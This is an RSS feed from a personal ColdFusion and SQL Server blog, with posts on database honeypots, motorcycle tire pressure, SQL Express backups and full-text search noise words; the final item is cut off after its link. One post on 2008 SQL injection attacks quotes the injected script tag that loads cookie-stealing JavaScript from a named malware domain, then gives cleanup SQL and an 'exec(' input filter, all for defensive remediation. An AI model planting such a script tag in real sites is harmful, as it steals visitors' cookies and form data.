<?xml version="1.0" encoding="utf-8"?>
			
			<rss version="2.0">
			<channel>
			<title>The blog of Russ (snake) Michaels - SQL Server</title>
			<link>http://russ.michaels.me.uk/index.cfm</link>
			<description>This is the blog of Russ Michaels. Here you will find lots of stuff about ColdFusion, tech support and hosting, but the occasional random ramblings about motorcycles, tattoos, the state of the world, rogue traders, product reviews and other stuff that makes me rant.</description>
			<language>en-gb</language>
			<pubDate>Wed, 08 Sep 2010 02:51:49 --0100</pubDate>
			<lastBuildDate>Sat, 14 Nov 2009 22:20:00 --0100</lastBuildDate>
			<generator>BlogCFC</generator>
			<docs>http://blogs.law.harvard.edu/tech/rss</docs>
			<managingEditor>russ@michaels.me.uk</managingEditor>
			<webMaster>russ@michaels.me.uk</webMaster>
			
			<item>
				<title>Honeycombing a database</title>
				<link>http://russ.michaels.me.uk/index.cfm/2009/11/14/Honeycombing-a-database</link>
				<description>
				
				&lt;p&gt;In the world of network servers, the term &amp;quot;honeypot&amp;quot; refers to a server that is placed in an environment for the sole purpose of attracting those who are snooping around, and capturing their activities within the honeypot server. Honeycombing a database is a very similar approach and involves creating &amp;quot;decoy&amp;quot; tables within a database that appear to contain valid, and unprotected, sensitive data. When unauthorized activity occurs on the decoy table, it is captured in an audit table and a notification is sent to the appropriate parties.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;I recently came across an interesting book entitled &lt;i&gt;&lt;a href=&quot;http://www.simple-talk.com/books/sql-books/protecting-sql-server-data/&quot;&gt;Protecting SQL Server Data&lt;/a&gt;&lt;/i&gt;, From the previous url you can download a free 220 page ebook and &lt;a href=&quot;http://www.simple-talk.com/sql/database-administration/honeycombing-a-database/&quot; target=&quot;_blank&quot;&gt;this article&lt;/a&gt; is taken from chapter 1 in which you learn how to set a &amp;quot;honey trap&amp;quot; for would-be data thieves, allowing the DBA to identify the precursors of an attack and respond quickly and also to better understand the techniques being used to breach existing security measures.&lt;/p&gt;  &lt;p&gt;It is certainly worth a read if database security is important to you or you have any sites that have been hacked through SQL injection.&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Sat, 14 Nov 2009 22:20:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2009/11/14/Honeycombing-a-database</guid>
				
			</item>
			
			<item>
				<title>Always check your tire pressure</title>
				<link>http://russ.michaels.me.uk/index.cfm/2009/9/22/Always-check-your-tire-pressure</link>
				<description>
				
				&lt;p&gt;&lt;img border=&quot;0&quot; src=&quot;/enclosures/26rtjyg_2_3.jpg&quot; alt=&quot;26rtjyg_2&quot; style=&quot;margin: 0px 5px 0px 0px; display: inline; border: 0px&quot; align=&quot;left&quot; title=&quot;26rtjyg_2&quot; height=&quot;240&quot; width=&quot;240&quot; /&gt; If you ever read your bike or car manual you will note that is does advise you to regularly check your tire pressure, especially before a long trip. Like most people this is something I rarely remember to do, but now I wish I had.&lt;/p&gt;&lt;p&gt;My motorcycle had been sitting in the garage for a couple of months since I had last used it, so I thought it was time to take it out for a ride. The first thing I noticed was how hard it was to push it out of the garage, which I thought was due to the fact that pushing my bike about was the only exercise my poor legs got, so were now out of practice. Over the next few weeks there were other niggling things I noticed such as cornering and roundabouts being a little hard to handle and leaning the bike too far was starting to feel very uncomfortable, which I put down to having become used to driving a car the past months and not using my bike, yes believe it or not at almost 40 years old I only recently got my car license, but despite all the avoidance for all these the years I am now quite happy to be warm and dry in my car and not out on my bike most of the time :-)&lt;/p&gt;&lt;p&gt;Anyway while standing behind my bike one day I noticed that the rear tire looked a little flat, which again is in the manual, if you leave your bike unused for any length off time, this will happen and you are not supposed to leave it on the stand for long periods of time.&lt;/p&gt;&lt;p&gt;So I popped down to the garage to put some air in my tires, but what a difference it made to the bike performance. After I have increased both tires to the correct pressure it was like having a new bike. suddenly it was easy to manuvere again, gliding back and forwards with little effort, handling was also improved dramatically, with corners and roundabouts suddenly a synch again, and I was able to lean without feeling like I might lose the bike. So it seems my conversion to a car driver hadn&amp;#39;t made me lose my bike riding skills at all, it was just down to the tires, and as well as spoiling the enjoyment of riding, it was also clealry quite dangerous as the ability to manuvere and handle the bike was dramatically decreased. While this situation is obviously a lot more drastic on 2 wheels, the same obviously must be true for your car as well, it also increases your fuel comsumption and wears your tires out quicker too, so the moral of the story, RTFM and REGULALRY CHECK YOUR TIRE PRESSURE.&lt;/p&gt;&lt;p&gt;The real bummer is that I now think this was the cause of my problems with my old Vulcan 1600 which caused me to sell me as I thought it was simply too big for my first bike.&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Tue, 22 Sep 2009 14:11:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2009/9/22/Always-check-your-tire-pressure</guid>
				
			</item>
			
			<item>
				<title>SQL Injection Attacks and How to protect yourself</title>
				<link>http://russ.michaels.me.uk/index.cfm/2008/7/24/SQL-Injection-Attacks--How-to-protect_yourself</link>
				<description>
				
				&lt;p&gt;This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using &amp;lt;cfqueryparam&amp;gt;. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn&amp;#39;t know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.&lt;br /&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;In mid-July,&amp;nbsp;the hacker webzine &lt;a href=&quot;http://www.0x000000.com/&quot;&gt;0x000000.com&lt;/a&gt; discussed potential pitfalls, particularly&amp;nbsp;within older versions of ColdFusion, which could lend themselves to potential compromise:&lt;/p&gt; &lt;p&gt;~ Easily discoverable passwords&lt;br /&gt;~ Lack of parameterized query handling&lt;br /&gt;~ Failure to properly escape single quotes&lt;br /&gt;~ Returning error messages that are too verbose&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Following are some of the malware domains involved in the recent ColdFusion attacks:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;mh.976801.cn&lt;/li&gt;&lt;li&gt;1.verynx.cn&lt;/li&gt;&lt;li&gt;mm.ll80.com&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;code&quot;&gt;&lt;code style=&quot;font-size: 10pt&quot;&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;&lt;a href=&quot;http://1.verynx.cn/w.js&quot;&gt;http://1.verynx.cn/w.js&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;The resulting javascript which gets loaded into your pages is used to &amp;quot;phish&amp;quot; your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;  &lt;/p&gt;&lt;p class=&quot;code&quot;&gt;&lt;code style=&quot;font-size: 10pt&quot;&gt;DECLARE @T varchar(255),@C varchar(4000)&lt;br /&gt;DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=&amp;#39;u&amp;#39; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)&lt;br /&gt;OPEN Table_Cursor&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)&lt;br /&gt;BEGIN exec(&amp;#39;update [&amp;#39;+@T+&amp;#39;] set [&amp;#39;+@C+&amp;#39;]=replace([&amp;#39;+@C+&amp;#39;],&amp;#39;&amp;#39;&amp;quot;&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;http://1.verynx.cn/w.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&amp;#39;&amp;#39;,&amp;#39;&amp;#39;&amp;#39;&amp;#39;)&amp;#39;)&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C END&lt;br /&gt;CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;br /&gt;&lt;/code&gt;&lt;span style=&quot;font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;&quot;&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Protecting Yourself&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;All of the attacks we have seen so far seem to be implemented by using the &amp;quot;Exec()&amp;quot; command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;E.G.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;code&quot;&gt;&amp;lt;cfloop collection=&amp;quot;#form#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;br /&gt;&amp;lt;cfloop collection=&amp;quot;#URL#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.&lt;/p&gt;&lt;p&gt;You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using &amp;lt;cfapram&amp;gt; or val() for example.&lt;/p&gt;&lt;p&gt;The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to. &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like &amp;quot;exec&amp;quot; or &amp;quot;declare&amp;quot; or other sql statements.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<category>ColdFusion</category>				
				
				<pubDate>Thu, 24 Jul 2008 13:19:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2008/7/24/SQL-Injection-Attacks--How-to-protect_yourself</guid>
				
			</item>
			
			<item>
				<title>Automating Database maintenance in SQL 2005 Express Edition</title>
				<link>http://russ.michaels.me.uk/index.cfm/2008/6/12/Automating-Database-maintenance-in-SQL-2005-Express-Edition</link>
				<description>
				
				&lt;p&gt;If you have been using SQL Server 2005 express&amp;nbsp; you will no doubt have noticed the lack of any backup options in SQL Web Studio Express or an SQLAgent, which is a big issue as you should be keeping backups of your databases.&lt;/p&gt;&lt;p&gt;Thankfully there is a solution using the expressmaint utility and windows scheduled tasks, and I found &lt;a target=&quot;_blank&quot; href=&quot;http://www.sqldbatips.com/showarticle.asp?ID=27&quot;&gt;this handy article&lt;/a&gt; on how to use this solution to overcome this limitation of SQL Server 2005 express.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Now I just need to find a solution for the lack of import/export facilities, which I think is a major exclusion from the Web Studio Express and&amp;nbsp;really limits its usefulness.&amp;nbsp;&lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Thu, 12 Jun 2008 10:22:00 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2008/6/12/Automating-Database-maintenance-in-SQL-2005-Express-Edition</guid>
				
			</item>
			
			<item>
				<title>SQL Server Full Text Search - A clause of the query contained only ignored words</title>
				<link>http://russ.michaels.me.uk/index.cfm/2007/9/29/SQL-Server-Full-Text-Search--A-clause-of-the-query-contained-only-ignored-words</link>
				<description>
				
				&lt;p&gt;While doing some work with SQL Servers FULL-TEXT SEARCH recently I came across some interesting gotchas relating to &quot;noise words&quot; which I have not experienced before, which is probably because it is quite rare that I use these feature. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;This query &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;select * from myTable &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (myColumn, &apos;the NEAR good NEAR person&apos;) &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;would result in this error &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Execution of a full-text operation failed. A clause of the query contained only ignored words. &lt;/p&gt;&lt;/div&gt; &lt;p&gt;The word &quot;and&quot; is considered a NOISE WORD. These are common words that MS Search feels should be ignored, and not be included in any Catalog. The full list of NOISE WORDS is located at \Program Files\Microsoft SQL Server\MSSQL\FTDATA\SQLServer\Config . The file representing your language can be opened and modified with a text editor. Any changes made will be reflected on the next Catalog population.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Now while the reason for these noise words existence is mainly&amp;nbsp;good, to avoid overhead on database searches etc, there are situations where you might need to include them in your search. Unfortunately the only way to do this is to remove the words from the noise file.&lt;/p&gt; &lt;p&gt;In my situation I needed to do full-text search on all words being near to each other to return results like amazon, so &quot;the good person&quot; would return the same results as &quot;person the good&quot;.&lt;/p&gt; &lt;p&gt;The problem is that in this scenario if ANY word is a NOISE WORD, the query fails.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Another scenario where this occurs is in a &amp;lt;simple_term&amp;gt; where all the words are NOISE WORDS and all get stripped.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;commentAlt&quot;&gt; &lt;p&gt;&lt;em&gt;&amp;lt;simple_term&amp;gt; &lt;/em&gt;&lt;/p&gt; &lt;p class=&quot;indent&quot;&gt;&lt;em&gt;Specifies a match for an exact word (one or more characters without spaces or punctuation in single-byte languages) or a phrase (one or more consecutive words separated by spaces and optional punctuation in single-byte languages). Examples of valid simple terms are &quot;blue berry&quot;, blueberry, and &quot;Microsoft SQL Server&quot;. Phrases should be enclosed in double quotation marks (&quot;&quot;). Words in a phrase must appear in the same order as specified in &amp;lt;contains_search_condition&amp;gt; as they appear in the database column. The search for characters in the word or phrase is case insensitive. Noise words (such as a, and, or the) in full-text indexed columns are not stored in the full-text index. If a noise word is used in a single word search, SQL Server returns an error message indicating that only noise words are present in the query. SQL Server includes a standard list of noise words in the directory \Mssql\Ftdata\Sqlserver\Config.&lt;/em&gt;&lt;/p&gt; &lt;p class=&quot;indent&quot;&gt;&lt;em&gt;Punctuation is ignored. Therefore, contains(testing, &quot;computer failure&quot;) matches a row with the value, &quot;Where is my computer? Failure to find it would be expensive.&quot;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt; &lt;p class=&quot;code&quot;&gt;E.G.&lt;br&gt;select * from myTable&lt;br&gt;WHERE CONTAINS(myTable, &apos;any can come&apos;)&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;As &quot;any&quot;, &quot;can&quot; and &quot;come&quot; are all noise words, this results in an empty query, and you get the above ignored words error.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;So how can one avoid these errors.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;1) You can trap the errors and display a friendly message. This is not very elegant and wont really tell your users why their search is nor working.&lt;/p&gt; &lt;p&gt;2) Or you can strip out all the &quot;NOISE WORDS&quot; from your search string prior to using it in a query. This way you can avoid any errors and can tell users in advance if they have used ignored words.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Here is a little CFFUNCTION I wrote to do this.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;more&gt;&lt;/more&gt; &lt;p class=&quot;code&quot;&gt;&amp;lt;cfFunction name=&quot;stripNoiseWords&quot; output=&quot;no&quot; hint=&quot;removes SQL noise words from search string and changes the delimiter to |&quot;&amp;gt;&lt;br&gt;&amp;lt;cfargument name=&quot;searchString&quot;&amp;gt;&lt;br&gt;&amp;lt;cfset strNoiseWords = &quot;1|2|3|4|5|6|7|8|9|0|$|!|@|##|$|%|^|&amp;amp;|*|(|)|-|_|+|=|[|]|{|}|about|after|all|also|an|and|another|any|are|as|at|be|because|been|before|being|between|both|but|by|came|can|come|could|did|do|does|each|else|for|from|get|got|has|had|he|have|her|here|him|himself|his|how|if|in|into|is|it|its|just|like|make|many|me|might|more|most|much|must|my|never|now|of|on|only|or|other|our|out|over|re|said|same|see|should|since|so|some|still|such|take|than|that|the|their|them|then|there|these|they|this|those|through|to|too|under|up|use|very|want|was|way|we|well|were|what|when|where|which|while|who|will|with|would|you|your|a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z&quot;&amp;gt;&lt;br&gt;&amp;lt;cfset result = &quot;&quot;&amp;gt;&lt;br&gt;&amp;lt;cfloop list=&quot;#arguments.searchString#&quot; delimiters=&quot; &quot; index=&quot;word&quot;&amp;gt;&lt;br&gt;&amp;nbsp;&amp;lt;cfif NOT Listfind(strNoiseWords, word, &quot;|&quot;)&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;lt;cfset result = Listappend(result,word,&quot;|&quot;)&amp;gt;&lt;br&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br&gt;&amp;lt;/cfloop&amp;gt;&lt;br&gt;&amp;lt;cfreturn result&amp;gt;&lt;br&gt;&amp;lt;/cffunction&amp;gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;font class=&quot;entry&quot; color=&quot;#333333&quot;&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font class=&quot;entry&quot; color=&quot;#333333&quot;&gt;For those that may not&amp;nbsp;yet have experienced the joys of FULL-TEXT search on SQL server, below are some addiitonal details&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;font class=&quot;entry&quot; color=&quot;#333333&quot;&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;strong&gt;CONTAINS&lt;/strong&gt;  &lt;p&gt;At its simplest level, the key word CONTAINS behaves similar to LIKE. To begin, we will use CONTAINS for precise string matching. The differences between CONTAINS and LIKE will not be very evident here. Using the pubs Catalog created in Part 1, issue the query: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title_id, title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (notes, &apos; &quot;computer&quot; &apos;)&lt;/p&gt;&lt;/div&gt; &lt;p&gt;The statement returns three rows, each containing the word &quot;computer&quot; in the notes field.  &lt;p&gt;&lt;a href=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image0018.gif&quot; atomicselection=&quot;true&quot;&gt;&lt;img height=&quot;94&quot; src=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image001_thumb2.gif&quot; width=&quot;538&quot;&gt;&lt;/a&gt;  &lt;p&gt;The Catalog created on the pubs database contained two fields: notes, and title. These are the only two fields allowed for CONTAINS searching. If a query is issued on a field not included in the Catalog, SQL will return an error. Evidenced by searching on the &quot;type&quot; field below: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title_id, title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (type, &apos; &quot;computer&quot; &apos;)&lt;/p&gt;&lt;/div&gt; &lt;p&gt;This statement returns:  &lt;p class=&quot;commentAlt&quot;&gt;Server: Msg 7601, Level 16, State 3, Line 1 Cannot use a CONTAINS or FREETEXT predicate on column &apos;type&apos; because it is not full-text indexed.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;The syntax of the CONTAINS is the Cataloged field name, followed by the word or phrase to search for. Although only fields Cataloged can be searched on, any field in the table can be returned. Our first statement returned the title_id field. The same is true of joining a CONTAINS statement to another table. It follows the usual TSQL JOIN statement rules. This next query joins the CONTAINS statement to the titleauthor table, useful if author names were needed. &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT titles.title_id, titles.title, titles.notes, titleauthor.au_id &lt;/p&gt; &lt;p&gt;FROM titles INNER JOIN titleauthor ON titles.title_id = titleauthor.title_ID &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (titles.notes, &apos; &quot;computer&quot; &apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;The statement functions like a standard join returning the following.  &lt;p&gt;&lt;a href=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image0022.gif&quot; atomicselection=&quot;true&quot;&gt;&lt;img height=&quot;104&quot; src=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image002_thumb.gif&quot; width=&quot;496&quot;&gt;&lt;/a&gt;  &lt;p&gt;The first query seemed very similar to a regular statement that could have been rewritten using the LIKE key word. However, if we run a LIKE statement, some differences will appear: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title_id, title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE notes LIKE &apos;%computer%&apos; &lt;/p&gt;&lt;/div&gt; &lt;p&gt;This LIKE statement returns five records rather than the three returned by the CONTAINS:  &lt;p&gt;&lt;a href=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image0038.gif&quot; atomicselection=&quot;true&quot;&gt;&lt;img height=&quot;123&quot; src=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image003_thumb6.gif&quot; width=&quot;572&quot;&gt;&lt;/a&gt;  &lt;p&gt;The difference is the plural &quot;computers,&quot; returned by LIKE. The CONTAINS statement was only looking for an exact text match of &quot;computer.&quot; Plurals were ignored. As a side note, CONTAINS is case insensitive. It sees no difference between &quot;COmputERS&quot; and &quot;computers.&quot; To include the plurals, the CONTAINS is changed from what is known as a simple term search, to a prefix term search. This is accomplished by using the * sign. Change the original search statement to: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title_id, title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (notes, &apos;&quot;computer*&quot; &apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;The query will now return the same five records as the LIKE statement. This leads to a discussion about the use of single and double quotes. The double quotes indicate the asterisk should look for zero, one, or more characters after the root word. Without the double quotes, such as: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title_id, title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS (notes, &apos;computer*&apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;The asterisk will now be treated as literal character to be found, rather than a wild card. Only the three records with the singular use of &quot;computer&quot; will be returned with this statement.  &lt;p&gt;&lt;strong&gt;FORMSOF&lt;/strong&gt;  &lt;p&gt;Another way to find variants of a word is change our prefix term search into a generation term search by the use of a new key word: FORMSOF. FORMSOF is used in conjunction with CONTAINS to look for variants of the search word. To use FORMSOF, the original statement is changed to: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS(notes, &apos;FORMSOF (INFLECTIONAL, computer)&apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;This will return all five records, those with the word &quot;computer,&quot; and the plural &quot;computers.&quot; Again, we could obtain the same results by using a LIKE statement, but the real power of FORMSOF becomes evident when the word &quot;good&quot; is searched for. This next LIKE statement will not return any matching records: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE notes LIKE &apos;%good%&apos; &lt;/p&gt;&lt;/div&gt; &lt;p&gt;The word &quot;good&quot; does not appear in the notes field. However, this next FORMSOF statement will return one record: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS(notes, &apos;FORMSOF (INFLECTIONAL, good)&apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;&lt;a href=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image0042.jpg&quot; atomicselection=&quot;true&quot;&gt;&lt;img style=&quot;border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px&quot; height=&quot;39&quot; src=&quot;http://russ.michaels.me.uk/enclosures/SQLServerFullTextSearchAclauseofthequery_12BD1/ds_full_text_search2_image004_thumb.jpg&quot; width=&quot;576&quot; border=&quot;0&quot;&gt;&lt;/a&gt;  &lt;p&gt;The difference is that in addition to returning singular and plural forms of a word, FORMSOF will also include gender and neutral forms of nouns, verbs, and adjectives. In the above example, &quot;best&quot; is returned as a variant of &quot;good.&quot;  &lt;p&gt;&lt;strong&gt;NOISE WORDS&lt;/strong&gt;  &lt;p&gt;If we change the above statement around, and look for variants of the word &quot;and&quot; by using the following statement: &lt;/p&gt; &lt;div class=&quot;code&quot;&gt; &lt;p&gt;SELECT title, notes &lt;/p&gt; &lt;p&gt;FROM titles &lt;/p&gt; &lt;p&gt;WHERE CONTAINS(notes, &apos;FORMSOF (INFLECTIONAL, and)&apos;) &lt;/p&gt;&lt;/div&gt; &lt;p&gt;An error will be returned rather than the previously returned record:  &lt;p&gt;Server: Msg 7619, Level 16, State 1, Line 1 Execution of a full-text operation failed. A clause of the query contained only ignored words.  &lt;p&gt;&amp;nbsp;  &lt;p&gt;As discussed at the start of this article the word &quot;and&quot; is considered a NOISE WORD. &lt;/p&gt; 
				</description>
				
				<category>SQL Server</category>				
				
				<pubDate>Sat, 29 Sep 2007 04:36:28 --0100</pubDate>
				<guid>http://russ.michaels.me.uk/index.cfm/2007/9/29/SQL-Server-Full-Text-Search--A-clause-of-the-query-contained-only-ignored-words</guid>
				
			</item>
			
			<item>
				<title>SQL SERVER 2005 - Take database Offline and close active connections</title>
				<link>http://russ.michaels.me.uk/index.cfm/2007/8/31/SQL-SERVER-2005-Take-database-Offline-and-end-active-conenctions</link>
				<description>
				
